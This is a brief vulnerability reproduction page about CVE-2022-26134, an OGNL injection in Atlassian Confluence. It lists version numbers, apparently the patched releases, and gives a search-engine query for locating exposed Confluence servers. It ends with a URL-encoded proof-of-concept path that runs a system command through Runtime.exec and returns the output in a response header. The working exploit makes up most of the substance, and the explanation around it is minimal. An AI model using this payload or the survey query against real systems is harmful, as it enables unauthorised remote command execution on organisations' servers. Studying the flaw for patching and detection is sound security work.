Atlassian Confluence Ognl Injection Vulnerability Cve 2022 26134

Atlassian Confluence OGNL injection vulnerability CVE-2022-26134

Vulnerability Description

Atlassian Confluence is a wiki system widely used by enterprises.

Vulnerability Impact

7.4.17

7.13.7

7.14.3

7.15.2

7.16.4

7.17.4

7.18.1

Network surveying and mapping

app=”ATLASSIAN-Confluence”

Vulnerability reappears

Login page

Verify POC

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/